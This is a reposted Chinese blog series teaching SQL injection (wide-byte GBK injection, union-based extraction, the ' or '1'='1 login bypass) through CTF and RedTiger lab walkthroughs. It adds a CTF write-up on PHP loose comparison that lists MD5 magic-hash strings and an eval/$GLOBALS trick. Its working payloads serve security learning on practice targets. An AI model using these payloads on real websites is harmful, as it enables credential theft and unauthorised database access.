sql注入教程和php弱类型

转载自:https://blog.csdn.net/helloc0de/rss/list

 

[原]SQL注入教程——(四)宽字节注入

前言

在mysql中,用于转义(即在字符串中的符号前加上”\”)的函数有addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种情况是magic_quote_gpc,不过高版本的PHP将去除这个特性。

涉及到的基本概念

  1. 字符、字符集 
    字符(character)是组成字符集(character set)的基本单位。对字符赋予一个数值(encoding)来确定这个字符在该字符集中的位置。

  2. UTF8 
    由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。因此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)。

  3. 宽字节 
    GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。

MYSQL的字符集转换过程

1.MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;

2.进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:

  • 使用每个数据字段的CHARACTER SET设定值;

  • 若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);

  • 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;

  • 若上述值不存在,则使用character_set_server设定值。

将操作结果从内部操作字符集转换为character_set_results。

重点:宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。

宽字节注入原理:

GBK 占用两字节

ASCII占用一字节

PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。

大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

简单的宽字节注入

以bugkuCTF练习平台的题目为例: 
题目:sql注入 
这里写图片描述

得知是以get方式通过参数id进行注入 
andor语句进行注入点测试,无果

于是尝试宽字节注入: 
http://103.238.227.13:10083/index.php?id=%df%27 
这里写图片描述

确认是宽字节注入,进行列数测试,得知一共有两列,且1,2处都有回显: 
http://103.238.227.13:10083/index.php?id=%df%27 union select 1,2%23 
这里写图片描述

获取当前数据库名: 
http://103.238.227.13:10083/index.php?id=%df%27 union select database(),2%23 
这里写图片描述

根据题目构造payload: 
http://103.238.227.13:10083/index.php?id=%df%27 union select string,2 from sql5.key where id=1%23 
这里写图片描述

总结: 
宽字节注入原理即是利用编码转换,将服务器端强制添加的本来用于转义的\符号吃掉,从而能使攻击者输入的引号起到闭合作用,以至于可以进行SQL注入。

作者:helloc0de 发表于 2017/07/27 12:03:26 原文链接 https://blog.csdn.net/helloc0de/article/details/76180190

阅读:1183

 
[原]SQL注入教程——(三)简单的注入尝试

本文将以简单的SQL注入实例来讲解SQL注入的基本思路与流程,当然本文实例只是注入的一种情况,初学者应重点理解思路,学会举一反三。

GET与POST

进行SQL注入攻击,大家还需要了解两种基本的 HTTP 请求方法:GET 和 POST。

在客户机和服务器之间进行请求-响应时,两种最常被用到的方法是:GET 和 POST。

  • GET - 从指定的资源请求数据。
  • POST - 向指定的资源提交要被处理的数据

1.get方法特点是参数直接从URL中传递 
常见形式: 
http://www.test.com/index.php?[parameter1]=[value1]&[parameter2]=[value2]

即:在URL文件路径后加上“?”,然后附加上要传递的参数和值。

2.post方法特点是常以提交表单形式传递参数 
常见形式: 
这里写图片描述

用firebug查看两者的区别: 
get: 
https://redtiger.labs.overthewire.org/level1.php?id=1

这里写图片描述

post: 
这里写图片描述

这里写图片描述

post注入多为字符型注入,需要注意引号闭合。

正文

本文以RedTiger’s Hackit两道简单的SQL注入为例。

1.简单的get注入

第一关

URL为:https://redtiger.labs.overthewire.org/level1.php

这里写图片描述

点击Category:1 后,URL变为:https://redtiger.labs.overthewire.org/level1.php?cat=1 
且出现文字: 
这里写图片描述

是以get方式传递cat 参数,进行判断是否存在注入点: 
https://redtiger.labs.overthewire.org/level1.php?cat=1 and 1=1 正常 
https://redtiger.labs.overthewire.org/level1.php?cat=1 and 1=2 运行异常

看来存在数字型注入,利用order by 测试出存在4个列: 
https://redtiger.labs.overthewire.org/level1.php?cat=1 order by 4 正常 
https://redtiger.labs.overthewire.org/level1.php?cat=1 order by 5 运行异常 
(此处可直接利用union联合查询进行判断列数)

构造union联合查询语句,找回显: 
https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,3,4 
发现3,4 处存在回显

且页面中有提示: 
这里写图片描述 
得知tablename为level1_users,并根据页面所要提交的信息为username,password 猜测列名为username,password 
于是构造payload: 
https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,username,password from level1_users 
得到username和password,提交后get flag。

本题实现的是通过SQL注入进行获取敏感数据。

2.简单的post注入

第二关

URL为https://redtiger.labs.overthewire.org/level2.php

这里写图片描述

首先发现URL中并没有以get方式传参,根据题目“一个简单的登录绕过”, 
且提示“条件”,考虑到本题是post注入,于是构造万能密码进行绕过: 
username任意填写,password 为' or '1'='1

此时用firebug查看可以得到如下信息: 
这里写图片描述

结果成功绕过,get flag。

本题实现的是通过SQL注入实现登录绕过。

总结: 
基本可通过get和post两种方式进行SQL注入(只是最基础的两种方式,还有如cookie注入等等注入方式),get注入是直接通过URL进行注入,post注入是通过提交的表单信息进行注入,且get方式注入数字型和字符型注入都存在,而post方式注入多数为字符型注入。

SQL注入基本流程可概括如下: 
1. 判断是否存在注入点; 
2. 判断字段回显位置; 
3. 判断数据库信息; 
4. 查找数据库名; 
5. 查找数据库表; 
6. 查找数据库表中字段以及字段值。

作者:helloc0de 发表于 2017/07/26 13:20:47 原文链接 https://blog.csdn.net/helloc0de/article/details/76142478

阅读:4055

 
[原]SQL注入教程——(二)常用语法基础

本文使用的数据库为hijack89 
该数据库中存在名为user 的表 
表中存在idusernamepassword 三个列 
具体数据内容如下: 
这里写图片描述

注意:该数据表第一条数据项为id为2,username为user02,password为pass02的数据项

1.select 查询语句

select是基本的查询语句,用于从数据库中查找匹配条件的数据项; 
常用语法如下:

select [列名称] from [表名称] (where 条件句)
select * from [表名称] (where 条件句)

select原理: 
分析器先找到关键字SELECT,然后跳到FROM关键字将所查的表导入内存,并通过指针p1找到表中第一条数据项,接着找到WHERE关键字,根据当前数据项计算它的条件表达式,如果为真那么执行select语句,并把执行结果插入到新建的虚表中,p1再指向下一条记录;如果为假那么p1直接指向下一条数据项,而不进行其它操作。一直检索完整个表,并把虚表返回给用户。

即:select语句是根据条件对比数据表中的每一条数据项,每当遇到一个条件为真时的数据项,就执行一次select后面紧跟的语句。

为什么条件为真时说是执行select语句,而不是将该条数据项插入到虚表中? 
因为select后面不仅可以跟列名称或者通配符* ,还可以跟函数

e.g.-1.1 
这里写图片描述

e.g.-1.2 
这里写图片描述

e.g.-1.3 
这里写图片描述

e.g.-1.4 
这里写图片描述

concat()是连接字符的函数,0x21、0x3a 分别是!、: 的16进制表示

思考,为什么该语句返回结果会有10条?

2.order by

order by 语句用于根据指定的列对结果集进行排序。默认按照升序对记录进行排序。 
常用语法如下:

order by [列名称]
order by [第几列]

常见作用: 
该语句在SQL注入中常用于测试当前数据表的列数。当数据表只存在3列时,order by 1/2/3 将正常返回结果,但当order by 4 时将报错,因为数据表中没有第4列,即可得知该表存在3列。

e.g.-2.1 
这里写图片描述

e.g.-2.2 
这里写图片描述

这里写图片描述

e.g.-2.3 
这里写图片描述

3.limit

limit 是用于限定返回结果的数量 
常用语法如下:

limit [偏移量],[数量]

偏移量也是从0开始(和c语言数组是一个道理),数量是选取多少个数据项。

常见作用: 
当某些页面只能回显特定个数的数据时,可以用limit进行限制。

e.g.-3.1 
这里写图片描述

4.union 联合查询

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。 
常用语法如下:

select id from user where id=1 union select username from user where id=3

请注意,列也必须拥有相似(兼容的)的数据类型。UNION 内部的 SELECT 语句必须拥有相同数量的列,否则会报错。 
常见作用: 
union不仅可以用来联合查询数据,还可以用来确定数据表列数。

e.g.-4.1 
这里写图片描述

e.g.-4.2 
这里写图片描述

e.g.-4.3 
这里写图片描述

这里写图片描述

此处注意与order by 有什么不同。

5.and和or

and和 or 可在 WHERE 子语句中把两个或多个条件结合起来,且前者优先级高于后者优先级。 
常见语法:

where [条件1] and [条件2]   条件1和条件2都为真时,该条件才为真
where [条件1] or [条件2]    条件1和条件2有一个为真时,该条件为真

常见作用: 
可以利用andor 进行是否存在注入点的判断,还可以构造万能密码(永真条件),文章《浅析SQL注入(一)》中有提到。

6.其他常用语法

insert into 语句用于插入指定数据项 
常见语法:

INSERT INTO 表名称 VALUES (值1, 值2,....)
INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)

update 语句用于修改表中的数据。 
常见语法:

UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 旧值

DELETE 语句用于删除表中的行。 
常见语法:

DELETE FROM 表名称 WHERE 列名称 = 某值





SQL语法是进行SQL注入攻击的基础,还需平时的学习和积累。

作者:helloc0de 发表于 2017/07/24 17:23:30 原文链接 https://blog.csdn.net/helloc0de/article/details/76033146

阅读:548

 
[原]SQL注入教程——(一)SQL注入原理

本系列文章将从SQL注入基础讲解,面向初学者,循序渐进。 
如有不足,敬请指正。

前置技能

  1. 了解SQL语言、语法、操作、常用函数 
    (基本的SQL数据库操作是进行SQL注入攻击的基础)
  2. 了解PHP语言,以及PHP+SQL的常用组合操作
  3. 了解网站架构、不同数据库的差异
  4. 了解burp suite、sqlmap等工具
  5. 了解http基本的get、post方法

本文以假设存在的www.test.com/index.php 注入页面为例

1.什么是SQL注入

所谓SQL注入,就是通过把SQL命令插入到 Web表单提交 或 URL 或 页面请求等的查询字符串中,最终达到欺骗服务器执行恶意的SQL命令。

即:将构造的SQL语句插入到正常提交的字符串中,并使服务器将字符串中的命令解析为可执行命令而不是字符串。

e.g.-1 
www.test.com/index.php 的源码中有如下的代码:

 $query="select name from users where id='$_GET['id']'"

以get方式获取参数id,基于用户输入的参数id找到相应的name,正常情况下id为1,2等,比如url为: 
www.test.com/index.php?id=1 
此时数据库执行的命令为:

select name from users where id='1'

但当用户输入如下url时: 
www.test.com/index.php?id=1' union select database()%23(‘%23’为’#’的url编码,’#’为mysql注释符,注释掉后面的语句) 
此时数据库执行的命令是:

select name from users where id='1' union select database()#'

不仅可以得到id为1的name字段内容,还可以得到当前数据库名

e.g.-2 
当前数据库存在名为users的表,其中包含username、passwd两列,该表存在一条username为admin,passwd为password的数据。 
网页核心源码如下:

$query="select * from users where username='$_POST['username']' and passwd='$_POST['password']'"

以post方式获取用户输入的username和password 
正常情况下提交的username为admin,password为password 方可以验证成功而登录,且数据库执行的命令为:

select * from users where username='admin' and passwd='password'

此时数据库返回username为admin,password为password 的数据项, 
但是当只知道username为admin而不知道密码时怎么办呢? 
构造username为admin,password为' or '1'='1 ,此时执行的SQL语句为:

select * from users where username='admin' and passwd='' or '1'='1'

由于'1'='1' 条件恒为真,该语句将返回users表中的所有数据(and优先级高于or的优先级,由于表中不存在username='admin' and passwd='' 的数据项,则该条件为假,然后结合or '1'='1',条件变为永真,且*为通配符,所以该条SQL语句变为查找users表中的所有数据项,由于该表仅有一条数据项,所以匹配到的就是admin这条数据) 
此时虽然不知道密码,但也可验证成功而登录。 
如果username和password都不知道呢? 
其实同理即可

2.SQL注入的产生

  • 动态字符串构建

    • 不正确的处理转义字符(宽字节注入)
    • 不正确的处理类型(报错泄露信息)
    • 不正确的处理联合查询
    • 不正确的处理错误(报错泄露信息)
    • 不正确的处理多次提交(二次注入)
  • 不安全的数据库配置

    • 默认预先安装的用户
    • 以root、SYSTEM 或者Administrator权限系统用户来运行
    • 默认允许很多系统函数(如xp_cmdshell, OPENROWSET 等)

3.SQL注入的作用

  • 绕过登录验证(万能密码等)
  • 获取敏感数据(获取数据库中的信息)
  • 文件操作(读取、写入文件等)
  • 执行系统命令 
    等等

4.常见的SQL注入分类

1. 数字型注入

这类注入主要特点是不需要考虑引号的闭合,以www.test.com/index.php 为例,核心源码类似于:

$query="select name from users where id=$_GET['id']"

注意与e.g.-1的不同 
http://www.text.com/index.php?id=1 正常 
http://www.test.com/index.php?id=1' 运行异常 
http://www.test.com/index.php?id=1 and 1=1 正常 
http://www.test.com/index.php?id=1 and 1=2 运行异常 
此方法也可用于测试某页面是否存在数字型注入。

2.字符型注入

这类注入需要注意引号的闭合 ,核心源码类似如下:

$query="select name from users where id='$_GET['id']'"

http://www.test.com/index.php?id=1 正常 
http://www.test.com/index.php?id=1' 运行异常 
http://www.test.com/index.php?id=1' and 1=1 运行异常 
http://www.test.com/index.php?id=1' and 1=1%23 正常 
http://www.test.com/index.php?id=1' and '1'='1 正常

SQL注入还有基于报错型SQL注入、基于布尔/时间的SQL注入、可联合查询的SQL注入等等

5.SQL注入攻击的影响范围

  • 数据库:MS-SQL Server、Oracle、My-SQL、DB2、Informix等所有基于SQL语言标准的数据库软件;

  • 应用程序:ASP、PHP,JSP、CGI、CFM等所有应用程序;

 

[原]由一道ISCC2018-web学习php弱类型

引言

做了很多web题有关于PHP弱类型,而且最近正好ISCC2018也有一道PHP弱类型的题,题目不难,借此题浅析一下PHP弱类型,也作为自己的学习笔记。

题面

php是世界上最好的语言

<html>
<body>
<form action="md5.php"  method="post" >
    用户名:<input type="text" name="username"/>
    密码:<input type="password" name ="password"/>
    <input type="submit" >
</body>
</html>
<?php
header("content-type:text/html;charset=utf-8");
if(isset($_POST['username'])&isset($_POST['password'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
}
else{
    $username="hello";
    $password="hello";
}
if(md5($password) == 0){
    echo "xxxxx";
}


show_source(__FILE__);
?>

题解

分析源码可知:

  1. 需要post username 和 password
  2. 检测password的MD5,如果== 0则显示一段内容(可知是flag)

此题重点在于2.,则提交username任意输入,passwordQNKCDZO,提交后进入下一个环节,得到源码:

include 'flag.php';
$a = @$_REQUEST['a'];
@eval("var_dump($$a);");

可知需要提交参数a,赋值给变量$a,并打印变量$$a的类型和值,如:提交参数a=test,则$a=test,$$a=$test,所以打印出变量$test的类型和值。

这里就要用到PHP的超全局变量$GLOBALS。PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。所以提交参数a的值为GLOBALS,即可打印出PHP 脚本中所有变量的类型和值。 
所以在URL中提交a=GLOBALS,即可get flag。


PHP弱类型比较知识点

php中有两种比较的符号 == 与 ===

  • === 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
  • == 在进行比较的时候,会先将字符串类型转化成相同,再比较
  • 如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行
<?php
var_dump("admin"==0);  //true
var_dump("1admin"==1); //true
var_dump("admin1"==1) //false
var_dump("admin1"==0) //true
var_dump("0e123456"=="0e4456789"); //true 
?>  

1.字符串“admin”与数值0比较,先将admin强制转化成数值,由于“admin”是字符串,不包含数字,所以转化结果为0,随意和数值0相等 
2.字符串“1admin”包含数字1,强制转化为数值即1,所以==1。 
3.“admin1“==1 却等于错误,也就是”admin1”被转化成了0

字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。

4.”0e123456”==”0e456789”相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等

所以上述题目的思路就是提交password,使password字符串的MD5值强制转换后与0相等,所以password的MD5值应以0e开头,即字符串QNKCDZO

下面提供一些MD5以0e开头的字符串:

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值